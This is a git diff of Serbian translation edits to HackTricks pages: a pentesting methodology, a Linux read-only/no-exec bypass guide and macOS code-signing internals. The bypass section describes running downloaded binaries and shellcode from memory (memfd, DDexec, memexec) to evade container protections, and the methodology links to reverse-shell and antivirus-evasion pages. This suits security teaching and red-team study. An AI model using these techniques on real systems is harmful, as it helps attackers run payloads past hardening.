**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu** _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
|
||||||
|
|
||||||
**Želim da napravim posebnu napomenu o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji).**\
|
**Želim da napravim posebnu napomenu o** [**Pentestovanju Weba**](../network-services-pentesting/pentesting-web/) **delu (jer je to najopsežniji).**\
|
||||||
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
|
Takođe, mali vodič o tome kako [**pronaći poznate ranjivosti u softveru**](search-exploits.md) može se naći ovde.
|
||||||
|
|
||||||
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **vlastiti slepi pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
|
**Ako vaša usluga nije u indeksu, potražite na Google-u** za druge tutorijale i **javite mi ako želite da je dodam.** Ako **ne možete ništa pronaći** na Google-u, izvršite svoj **slep pentesting**, možete početi tako što ćete **povezati se na uslugu, fuzzovati je i čitati odgovore** (ako ih ima).
|
||||||
|
|
||||||
#### 5.1 Automatski alati
|
#### 5.1 Automatski alati
|
||||||
|
|
||||||
|
@ -69,17 +69,17 @@ Postoji nekoliko alata koji mogu izvršiti **automatske procene ranjivosti**. **
|
||||||
|
|
||||||
#### **5.2 Brute-Forcing usluga**
|
#### **5.2 Brute-Forcing usluga**
|
||||||
|
|
||||||
U nekim scenarijima **Brute-Force** bi mogao biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga za brute forcing**](brute-force.md)**.**
|
U nekim scenarijima **Brute-Force** može biti koristan za **kompromitovanje** **usluge**. [**Pronađite ovde CheatSheet različitih usluga za brute forcing**](brute-force.md)**.**
|
||||||
|
|
||||||
### 6- [Phishing](phishing-methodology/)
|
### 6- [Phishing](phishing-methodology/)
|
||||||
|
|
||||||
Ako u ovom trenutku niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da probate neki phishing kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
|
Ako do ovog trenutka niste pronašli nijednu zanimljivu ranjivost, možda ćete morati da pokušate sa nekim phishingom kako biste ušli u mrežu. Možete pročitati moju metodologiju phishinga [ovde](phishing-methodology/):
|
||||||
|
|
||||||
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
|
### **7-** [**Dobijanje Shell-a**](reverse-shells/)
|
||||||
|
|
||||||
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
|
Na neki način biste trebali pronaći **neki način da izvršite kod** na žrtvi. Tada bi [lista mogućih alata unutar sistema koje možete koristiti za dobijanje reverznog shell-a bila veoma korisna](reverse-shells/).
|
||||||
|
|
||||||
Posebno na Windows-u mogli biste trebati pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
|
Posebno na Windows-u mogli biste trebati neku pomoć da **izbegnete antiviruse**: [**Proverite ovu stranicu**](../windows-hardening/av-bypass.md)**.**\\
|
||||||
|
|
||||||
### 8- Unutra
|
### 8- Unutra
|
||||||
|
|
||||||
|
@ -128,9 +128,9 @@ TODO: Dovršiti postojanost u Windows-u i Linux-u
|
||||||
|
|
||||||
### 12 - Pivotiranje
|
### 12 - Pivotiranje
|
||||||
|
|
||||||
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate da **otkrijete i skenirate nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža gde je vaša žrtva povezana.\
|
Sa **prikupljenim akreditivima** mogli biste imati pristup drugim mašinama, ili možda trebate **otkriti i skenirati nove hostove** (ponovo započnite Pentesting Metodologiju) unutar novih mreža gde je vaša žrtva povezana.\
|
||||||
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
|
U ovom slučaju, tunelovanje bi moglo biti neophodno. Ovde možete pronaći [**post o tunelovanju**](tunneling-and-port-forwarding.md).\
|
||||||
Definitivno biste takođe trebali proveriti post o [metodologiji pentestinga Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći sjajne trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
|
Definitivno biste takođe trebali proveriti post o [metodologiji pentestovanja Active Directory](../windows-hardening/active-directory-methodology/). Tamo ćete pronaći cool trikove za lateralno kretanje, eskalaciju privilegija i dumpovanje akreditiva.\
|
||||||
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
|
Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti veoma korisna za pivotiranje u Windows okruženjima.
|
||||||
|
|
||||||
### VIŠE
|
### VIŠE
|
||||||
|
@ -151,7 +151,7 @@ Proverite takođe stranicu o [**NTLM**](../windows-hardening/ntlm/), može biti
|
||||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
@ -166,7 +166,7 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ In the following videos you can find the techniques mentioned in this page expla
|
||||||
|
|
||||||
## read-only / no-exec scenario
|
## read-only / no-exec scenario
|
||||||
|
|
||||||
Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom datotečnog sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro datotečnim sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
|
Sve je češće pronaći linux mašine montirane sa **read-only (ro) zaštitom fajl sistema**, posebno u kontejnerima. To je zato što je pokretanje kontejnera sa ro fajl sistemom jednako lako kao postavljanje **`readOnlyRootFilesystem: true`** u `securitycontext`:
|
||||||
|
|
||||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
|
@ -45,7 +45,7 @@ securityContext:
|
||||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
Međutim, čak i ako je datotečni sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Međutim, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti zapisiv, tako da je lažno da ne možemo ništa napisati na disk. Međutim, ova fascikla će biti **montirana sa no-exec zaštitom**, tako da ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
|
Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-i ili enumeratori poput `kubectl`).
|
||||||
|
@ -55,32 +55,32 @@ Iz perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarni
|
||||||
|
|
||||||
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
|
Napomena da sam pomenuo binarne fajlove, možete **izvršiti bilo koji skript** sve dok je interpreter unutar mašine, kao što je **shell skript** ako je `sh` prisutan ili **python** **skript** ako je `python` instaliran.
|
||||||
|
|
||||||
Međutim, ovo nije dovoljno da izvršite svoj binarni backdoor ili druge binarne alate koje možda trebate pokrenuti.
|
Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoora ili drugih binarnih alata koje možda trebate pokrenuti.
|
||||||
|
|
||||||
## Memory Bypasses
|
## Memory Bypasses
|
||||||
|
|
||||||
Ako želite da izvršite binarni fajl, ali datotečni sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer **zaštite se ne primenjuju tamo**.
|
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer **zaštite se ne primenjuju tamo**.
|
||||||
|
|
||||||
### FD + exec syscall bypass
|
### FD + exec syscall bypass
|
||||||
|
|
||||||
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u deskriptoru datoteke u memoriji (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao datoteku za izvršavanje**.
|
Ako imate neke moćne skriptne engine unutar mašine, kao što su **Python**, **Perl**, ili **Ruby**, mogli biste preuzeti binarni fajl da ga izvršite iz memorije, sačuvati ga u memorijskom fajl deskriptoru (`create_memfd` syscall), koji neće biti zaštićen tim zaštitama, a zatim pozvati **`exec` syscall** označavajući **fd kao fajl za izvršavanje**.
|
||||||
|
|
||||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom **exec** syscall za njegovo pokretanje.
|
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skript u naznačenom jeziku sa **binarno kompresovanim i b64 kodiranim** instrukcijama za **dekodiranje i dekompresiju** u **fd** kreiranom pozivom `create_memfd` syscall i pozivom na **exec** syscall da ga pokrene.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memory fd** za čuvanje binarnog fajla.
|
Ovo ne funkcioniše u drugim skriptim jezicima poput PHP ili Node jer nemaju nikakav d**efault način da pozovu sirove syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreira **memorijski fd** za skladištenje binarnog fajla.
|
||||||
|
|
||||||
Štaviše, kreiranje **regular fd** sa datotekom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
|
Štaviše, kreiranje **običnog fd** sa fajlom u `/dev/shm` neće raditi, jer nećete moći da ga pokrenete zbog primene **no-exec zaštite**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### DDexec / EverythingExec
|
### DDexec / EverythingExec
|
||||||
|
|
||||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju svog procesa** prepisivanjem njegovog **`/proc/self/mem`**.
|
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg vlastitog procesa** prepisivanjem njegovog **`/proc/self/mem`**.
|
||||||
|
|
||||||
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
Stoga, **kontrolišući asemblažni kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj vlastiti **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
|
@ -94,7 +94,7 @@ Za više informacija o ovoj tehnici proverite Github ili:
|
||||||
|
|
||||||
### MemExec
|
### MemExec
|
||||||
|
|
||||||
[**Memexec**](https://github.com/arget13/memexec) je prirodan sledeći korak DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite da **pokrenete drugi binarni fajl** ne morate ponovo pokretati DDexec, možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonima da prosledite nove binarne fajlove za učitavanje i izvršavanje**.
|
[**Memexec**](https://github.com/arget13/memexec) je prirodan sledeći korak DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite da **pokrenete drugi binarni fajl** ne morate ponovo pokretati DDexec, možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonima da prenesete nove binarne fajlove za učitavanje i izvršavanje**.
|
||||||
|
|
||||||
Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlova iz PHP reverz shell-a** na [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlova iz PHP reverz shell-a** na [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||||
|
|
||||||
|
@ -132,9 +132,9 @@ Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali mogli biste k
|
||||||
|
|
||||||
Možete pronaći **primere** kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Možete pronaći **primere** kako da **iskoristite neke RCE ranjivosti** da dobijete scripting jezike **reverz shell-ove** i izvršite binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -148,7 +148,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,11 +17,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
## Osnovne Informacije
|
## Osnovne Informacije
|
||||||
|
|
||||||
Mach-o binarni fajlovi sadrže komandu za učitavanje pod nazivom **`LC_CODE_SIGNATURE`** koja označava **offset** i **veličinu** potpisa unutar binarnog fajla. U stvari, koristeći GUI alat MachOView, moguće je pronaći na kraju binarnog fajla sekciju pod nazivom **Code Signature** sa ovom informacijom:
|
Mach-o binarni fajlovi sadrže komandu za učitavanje pod nazivom **`LC_CODE_SIGNATURE`** koja označava **offset** i **veličinu** potpisa unutar binarnog fajla. U stvari, koristeći GUI alat MachOView, moguće je pronaći na kraju binarnog fajla sekciju pod nazivom **Code Signature** sa ovim informacijama:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Magični header Code Signature je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrže.\
|
Magični zaglavlje Potpisa Koda je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrži.\
|
||||||
Moguće je pronaći ove informacije u [izvoru ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
Moguće je pronaći ove informacije u [izvoru ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
|
@ -51,14 +51,14 @@ char data[];
|
||||||
} CS_GenericBlob
|
} CS_GenericBlob
|
||||||
__attribute__ ((aligned(1)));
|
__attribute__ ((aligned(1)));
|
||||||
```
|
```
|
||||||
Uobičajeni blobovi koji se nalaze su Direktorij koda, Zahtevi i Ovlašćenja i Kriptografska poruka u sintaksi (CMS).\
|
Uobičajeni blobovi su Code Directory, Requirements i Entitlements, kao i Cryptographic Message Syntax (CMS).\
|
||||||
Pored toga, obratite pažnju na to kako su podaci kodirani u blobovima kodirani u **Big Endian.**
|
Pored toga, obratite pažnju na to kako su podaci kodirani u blobovima kodirani u **Big Endian.**
|
||||||
|
|
||||||
Pored toga, potpisi se mogu odvojiti od binarnih datoteka i čuvati u `/var/db/DetachedSignatures` (koristi se u iOS-u).
|
Pored toga, potpisi se mogu odvojiti od binarnih datoteka i čuvati u `/var/db/DetachedSignatures` (koristi se u iOS-u).
|
||||||
|
|
||||||
## Blob Direktorij koda
|
## Code Directory Blob
|
||||||
|
|
||||||
Moguće je pronaći deklaraciju [Blob-a Direktorij koda u kodu](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
Moguće je pronaći deklaraciju [Code Directory Blob u kodu](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
||||||
```c
|
```c
|
||||||
typedef struct __CodeDirectory {
|
typedef struct __CodeDirectory {
|
||||||
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
||||||
|
@ -116,7 +116,7 @@ __attribute__ ((aligned(1)));
|
||||||
```
|
```
|
||||||
Napomena da postoje različite verzije ove strukture gde starije mogu sadržati manje informacija.
|
Napomena da postoje različite verzije ove strukture gde starije mogu sadržati manje informacija.
|
||||||
|
|
||||||
## Stranice za potpisivanje koda
|
## Stranice potpisivanja koda
|
||||||
|
|
||||||
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan samo delimično u memoriji. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
|
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan samo delimično u memoriji. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
|
||||||
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice navedena** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
|
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice navedena** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
|
||||||
|
@ -163,12 +163,12 @@ Napomena da aplikacije mogu sadržati **entitlement blob** gde su svi entitlemen
|
||||||
|
|
||||||
MacOS aplikacije nemaju sve što im je potrebno za izvršavanje unutar binarnog fajla, već koriste i **spoljne resurse** (obično unutar aplikacionog **bundle**). Stoga, postoje neki slotovi unutar binarnog fajla koji će sadržati hashove nekih interesantnih spoljašnjih resursa kako bi se proverilo da nisu modifikovani.
|
MacOS aplikacije nemaju sve što im je potrebno za izvršavanje unutar binarnog fajla, već koriste i **spoljne resurse** (obično unutar aplikacionog **bundle**). Stoga, postoje neki slotovi unutar binarnog fajla koji će sadržati hashove nekih interesantnih spoljašnjih resursa kako bi se proverilo da nisu modifikovani.
|
||||||
|
|
||||||
U stvari, moguće je videti u Code Directory strukturama parametar nazvan **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći su (od -1 do -6):
|
U stvari, moguće je videti u strukturi Code Directory parametar nazvan **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći (od -1 do -6) su:
|
||||||
|
|
||||||
* Hash `info.plist` (ili onaj unutar `__TEXT.__info__plist`).
|
* Hash `info.plist` (ili onaj unutar `__TEXT.__info__plist`).
|
||||||
* Hash Zahteva
|
* Hash Zahteva
|
||||||
* Hash Resursnog Direktorijuma (hash fajla `_CodeSignature/CodeResources` unutar bundle-a).
|
* Hash Resursnog Direktorijuma (hash fajla `_CodeSignature/CodeResources` unutar bundle-a).
|
||||||
* Aplikacija specifična (neiskorišćena)
|
* Specifično za aplikaciju (neiskorišćeno)
|
||||||
* Hash entitlements
|
* Hash entitlements
|
||||||
* DMG kodni potpisi samo
|
* DMG kodni potpisi samo
|
||||||
* DER Entitlements
|
* DER Entitlements
|
||||||
|
@ -220,11 +220,11 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||||
|
|
||||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||||
```
|
```
|
||||||
Napomena da funkcija [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) takođe može dinamički dodati `CS_EXEC_*` zastavice prilikom pokretanja izvršavanja.
|
Napomena da funkcija [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) takođe može dinamički dodati `CS_EXEC_*` zastavice prilikom pokretanja izvršenja.
|
||||||
|
|
||||||
## Zahtevi za potpisivanje koda
|
## Zahtevi za potpisivanje koda
|
||||||
|
|
||||||
Svaka aplikacija čuva neke **zahteve** koje mora **ispuniti** da bi mogla da se izvrši. Ako **aplikacija sadrži zahteve koji nisu ispunjeni od strane aplikacije**, neće biti izvršena (jer je verovatno izmenjena).
|
Svaka aplikacija čuva neke **zahteve** koje mora **ispuniti** da bi mogla da se izvrši. Ako **aplikacija sadrži zahteve koji nisu ispunjeni**, neće biti izvršena (jer je verovatno izmenjena).
|
||||||
|
|
||||||
Zahtevi binarnog fajla koriste **posebnu gramatiku** koja je niz **izraza** i kodirani su kao blobovi koristeći `0xfade0c00` kao magični broj čiji je **hash sačuvan u posebnom slotu za kod**.
|
Zahtevi binarnog fajla koriste **posebnu gramatiku** koja je niz **izraza** i kodirani su kao blobovi koristeći `0xfade0c00` kao magični broj čiji je **hash sačuvan u posebnom slotu za kod**.
|
||||||
|
|
||||||
|
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Obratite pažnju na to kako ove potpise mogu proveriti stvari kao što su informacije o sertifikaciji, TeamID, ID-ovi, ovlašćenja i mnogi drugi podaci.
|
Obratite pažnju na to kako ove potpise mogu proveriti stvari kao što su informacije o sertifikaciji, TeamID, ID-ovi, ovlašćenja i mnoge druge podatke.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Pored toga, moguće je generisati neka kompajlirana zahteva koristeći alat `csreq`:
|
Pored toga, moguće je generisati neka kompajlirana zahteva koristeći alat `csreq`:
|
||||||
|
@ -285,8 +285,8 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
|
||||||
#### **Modifikovanje Kodnih Zahteva**
|
#### **Modifikovanje Kodnih Zahteva**
|
||||||
|
|
||||||
* **`SecCodeSignerCreate`**: Kreira `SecCodeSignerRef` objekat za izvođenje operacija potpisivanja koda.
|
* **`SecCodeSignerCreate`**: Kreira `SecCodeSignerRef` objekat za izvođenje operacija potpisivanja koda.
|
||||||
* **`SecCodeSignerSetRequirement`**: Postavlja novi zahtev za potpisnika koda koji će se primeniti tokom potpisivanja.
|
* **`SecCodeSignerSetRequirement`**: Postavlja novi zahtev za potpisivača koda koji će se primeniti tokom potpisivanja.
|
||||||
* **`SecCodeSignerAddSignature`**: Dodaje potpis kodu koji se potpisuje sa specificiranim potpisnikom.
|
* **`SecCodeSignerAddSignature`**: Dodaje potpis kodu koji se potpisuje sa specificiranim potpisivačem.
|
||||||
|
|
||||||
#### **Validacija Koda sa Zahtevima**
|
